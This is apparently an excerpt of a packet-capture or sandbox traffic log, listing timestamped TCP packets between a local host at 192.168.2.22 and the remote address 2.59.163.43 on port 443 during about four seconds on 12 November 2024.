Nov 12, 2024 17:29:56.818685055 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:56.818777084 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:56.912944078 CET	443	49230	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:56.913131952 CET	443	49230	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:56.913188934 CET	49230	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:56.914103031 CET	49230	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:56.914110899 CET	443	49230	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:56.933293104 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:56.933312893 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:56.933414936 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:56.933440924 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:56.933520079 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:56.935902119 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:56.935915947 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:56.935966015 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:56.935976982 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:56.935986042 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:56.936088085 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.050234079 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.050252914 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.050348043 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.050358057 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.050498009 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.053221941 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.053240061 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.053286076 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.053293943 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.053369999 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.168719053 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.168734074 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.168837070 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.168858051 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.169064999 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.170146942 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.170162916 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.170217991 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.170226097 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.170741081 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.284774065 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.284795046 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.284854889 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.284868956 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.285006046 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.287081957 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.287097931 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.287139893 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.287147999 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.287245035 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.351243973 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.351260900 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.351332903 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.351350069 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.351489067 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.403553009 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.403568983 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.403629065 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.403645039 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.403753996 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.404500008 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.404552937 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.404558897 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.404588938 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.404689074 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.404905081 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.404923916 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.865271091 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.877887011 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.877929926 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.878320932 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.881462097 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.881525993 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:57.885003090 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:57.931329966 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.121512890 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.121856928 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.121870995 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.122208118 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.122562885 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.122662067 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.122858047 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.126422882 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.126636028 CET	49233	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.126646042 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.127537966 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.127592087 CET	49233	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.128599882 CET	49233	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.128669024 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.128774881 CET	49233	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.128782034 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.167327881 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.326442957 CET	49233	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.384967089 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.385121107 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.385162115 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.385169983 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.385186911 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.385225058 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.385601044 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.385644913 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.385660887 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.385689020 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.385699034 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.385710001 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.385737896 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.385777950 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.386256933 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.386305094 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.474092960 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.474371910 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.474416971 CET	49233	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.474425077 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.474673986 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.474711895 CET	49233	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.474718094 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.474761009 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.474805117 CET	49233	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.475456953 CET	49233	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.475467920 CET	443	49233	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.486409903 CET	49234	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.486443996 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.486498117 CET	49234	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.486835957 CET	49235	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.486855030 CET	443	49235	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.486908913 CET	49235	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.487087965 CET	49234	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.487102032 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.487535954 CET	49235	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.487546921 CET	443	49235	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.514966965 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.515038013 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.515224934 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.515274048 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.521367073 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.521444082 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.522109985 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.522161007 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.522979975 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.522988081 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.523030996 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.523039103 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.548588037 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.548594952 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.548662901 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.548674107 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.634807110 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.634856939 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.634874105 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.634886026 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.634932041 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.638909101 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.638943911 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.638971090 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.638986111 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.639019012 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.753458023 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.753465891 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.753515959 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.753573895 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.753601074 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.753638029 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.755362988 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.755373001 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.755398035 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.755403996 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.755434990 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.755464077 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.755549908 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.764405966 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.764414072 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.764444113 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.764475107 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.764484882 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.764494896 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.764595985 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.774527073 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.774534941 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.774559021 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.774584055 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.774590969 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.774610043 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.774696112 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.872668982 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.872677088 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.872705936 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.872741938 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.872754097 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.872762918 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.872863054 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.873070955 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.873099089 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.873122931 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.873131990 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.873142004 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.873226881 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.989264965 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.989315033 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.989384890 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.989384890 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.989414930 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.989517927 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.992607117 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.992645979 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.992674112 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.992692947 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:58.992702961 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:58.992753029 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.008586884 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.008615971 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.008641005 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.008649111 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.008665085 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.008809090 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.025783062 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.025819063 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.025841951 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.025850058 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.025861025 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.025955915 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.107317924 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.107342005 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.107458115 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.107500076 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.107620001 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.112483025 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.112504959 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.112560034 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.112577915 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.112648010 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.224307060 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.224325895 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.224380970 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.224404097 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.224535942 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.231379032 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.231400013 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.231453896 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.231471062 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.231599092 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.284754038 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.284774065 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.284811020 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.284821033 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.284833908 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.284893990 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.307707071 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.307724953 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.307782888 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.307792902 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.307874918 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.664649963 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.664660931 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.664724112 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.664738894 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.664761066 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.664784908 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.664799929 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.664812088 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.664835930 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.664850950 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.664863110 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.664874077 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.664983034 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.665086031 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.665344000 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.665364981 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.665400028 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.665405035 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.665414095 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.665652990 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.665674925 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.665707111 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.665716887 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.665724993 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.665741920 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.665781021 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.665785074 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.665875912 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.665918112 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.665966988 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.665987968 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.666016102 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.666023016 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.666038990 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.666688919 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.666832924 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.670423985 CET	49231	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.670434952 CET	443	49231	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.673948050 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.673974991 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.674015045 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.674022913 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.674038887 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.674113035 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.710549116 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.710562944 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.710612059 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.710621119 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.710664034 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.710773945 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.784540892 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.784567118 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.784662008 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.784682989 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.784800053 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.830061913 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.830077887 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.830126047 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.830136061 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.830241919 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.928152084 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.928428888 CET	49234	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.928446054 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.928750992 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.929069042 CET	49234	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.929125071 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.929285049 CET	49234	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.932058096 CET	443	49235	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.932276964 CET	49235	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.932290077 CET	443	49235	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.932754040 CET	443	49235	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.933094978 CET	49235	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.933175087 CET	443	49235	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.933280945 CET	49235	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.945682049 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.945700884 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.945755005 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.945765972 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.945800066 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.945858955 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.971324921 CET	443	49234	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.974714041 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.974730968 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.974780083 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.974787951 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:59.974886894 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:59.975328922 CET	443	49235	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.068536043 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.068551064 CET	443	49232	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:00.068598032 CET	49232	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:00.068608046 CET	443	49232	2.59.163.43	192.168.2.22
